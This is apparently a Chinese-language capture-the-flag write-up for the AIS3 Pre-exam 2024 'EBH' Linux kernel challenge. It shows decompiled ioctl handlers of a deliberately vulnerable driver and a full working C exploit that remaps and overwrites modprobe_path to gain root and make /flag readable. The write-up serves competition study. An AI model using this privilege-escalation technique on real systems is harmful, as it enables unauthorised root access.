學了Linux Kernel Pwn之後我終於可以解開AIS3 Pre-exam 2024 : EBH了好耶好耶

Last updated on 2025-05-19 11:20:57 +08:00

Challenge

https://github.com/Curious-Lucifer/My_CTF_Challenges/tree/master/AIS3_Pre-Exam_2024/Pwn-EBH

Flag在/flag,只有root可以讀取到

本題沒有開啟kaslr(內核的東西位址都固定)
本題有開啟smep跟smap,內核態不可訪問/執行用戶空間的數據

1
2
3
4
5
6
7
8
9
#!/bin/bash

/usr/bin/qemu-system-x86_64 \
-kernel ./bzImage \
-initrd ./initramfs.cpio \
-cpu kvm64,+smep,+smap \
-nographic \
-append "console=ttyS0 nokaslr oops=panic panic=1" \
-no-reboot

Unintended Solution

最終目標是修改modprobe_path,執行自己的腳本去改/flag的權限,這樣就可以拿到flag了

write_to_address()可以達到這個目的,但是modprobe_path的位址是0xffffffff82444620,顯然無法通過data.target < (void *)0xffffffff00000001

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
long write_to_address(WriteToAddrData *ptr)

{
long lVar1;
WriteToAddrData data;

lVar1 = _copy_from_user(&data,ptr,0x18);
if (((lVar1 == 0) && (data.target < (void *)0xffffffff00000001)) && (data.size < 0x61)) {
lVar1 = _copy_from_user(data.target,data.src);
}
else {
lVar1 = -0xe;
}
return lVar1;
}

peek_physical(),給定物理記憶體位址data.phyaddr,function會使用ioremap_nocache()將那個位址的物理記憶體映射到虛擬記憶體上,到function結束也不會拿掉這個映射,所以後面我們可以利用這個新映射出來的虛擬記憶體位址。
經過測試,給modprobe_path的物理記憶體位址,每次都會映射到虛擬記憶體位址0xffffc90000045620,也可以通過上面write_to_address()的檢查

1
2
3
4
5
6
7
8
9
10
11
12
13
long peek_physical(PeekPhysicalData *ptr)

{
long lVar1;
PeekPhysicalData data;

lVar1 = _copy_from_user(&data,ptr,0x18);
if ((lVar1 == 0) && (lVar1 = ioremap_nocache(data.phyaddr,data.peeksize), lVar1 != 0)) {
lVar1 = _copy_to_user(data.peekdata,lVar1,data.peeksize);
return lVar1;
}
return -0xe;
}

獲取modprobe_path物理記憶體位址,可以透過get_physical(),給一個虛擬記憶體位址,就會回傳映射到這個位址上的物理記憶體的位址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
long get_physical(void *ptr)

{
long lVar1;
ulonglong addr;

lVar1 = _copy_from_user(&addr,ptr,8);
if (lVar1 == 0) {
lVar1 = _phys_base;
if (addr < 0xffffffff80000000) {
lVar1 = -0x80000000 - _page_offset_base;
}
addr = addr + 0x80000000 + lVar1;
lVar1 = _copy_to_user(ptr,&addr,8);
}
else {
lVar1 = -0xe;
}
return lVar1;
}

總結起來就是:

  1. get_physical()獲取modprobe_path的物理記憶體位址
  2. peek_physical()modprobe_path的物理記憶體映射到另一個虛擬記憶體位址上(位址固定0xffffc90000045620)
  3. write_to_address()修改虛擬記憶體位址0xffffc90000045620的資料,由於這個位址也是映射到modprobe_path,就可以達成目的

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

struct GetPhysicalData {
size_t addr;
};

struct PeekPhysicalData {
size_t phyaddr;
unsigned long peeksize;
char * peekdata;
};

struct WriteToAddrData {
unsigned long target;
unsigned long src;
unsigned long size;
};

size_t modprobe_path = 0xffffffff82444620;
char GETSHELL[] = "/home/user/binary";

int fd;

void prepare() {
// dummy
fd = syscall(SYS_memfd_create, "badbin", 0);
write(fd, "\xff\xff\xff\xff", 4); // Invalid binary
}

void exploit() {
system("chmod 777 /flag");
}

int main() {
if (getuid() == 0) {
exploit();
return 0;
}

prepare();
int fd1 = open("/proc/EBH", 2);

// get physical address
struct GetPhysicalData phy;
phy.addr = modprobe_path;
ioctl(fd1, 0x4700, &phy);

// create mapping
struct PeekPhysicalData cmap;
cmap.phyaddr = phy.addr;
cmap.peeksize = 0x20;
char * peekdata;
peekdata = malloc(cmap.peeksize);
cmap.peekdata = peekdata;
ioctl(fd1, 0x5000, &cmap);
printf("[*] modprobe_path = \"%s\"\n", peekdata);

// overwrite modprobe_path
size_t mapped_modprobe_path = 0xffffc90000045620;
char * data;
data = malloc(32);
memset(data, 0, 32);
strncpy(data, GETSHELL, strlen(GETSHELL)+1);
printf("data = \"%s\"\n", data);

struct WriteToAddrData writedt;
writedt.target = mapped_modprobe_path;
writedt.src = data;
writedt.size = strlen(GETSHELL)+1;
ioctl(fd1, 0x5700, &writedt);

// exploit
char path[64];
snprintf(path, sizeof(path), "/proc/self/fd/%d", fd);
execl(path, "badbin", NULL);

// read flag
sleep(2);
char flag_buf[128] = {0};
int flagfd = open("/flag", O_RDWR | O_CREAT);
read(flagfd, flag_buf, 128);
close(flagfd);
printf("flag -> %s\n", flag_buf);

return 0;
}

Flag: AIS3{Oh_n0_1_fOrg37_%O_`iounmap`,_T_Wi|l_r3m*MbEr_i7_Ne/t_t1m#_QAQ}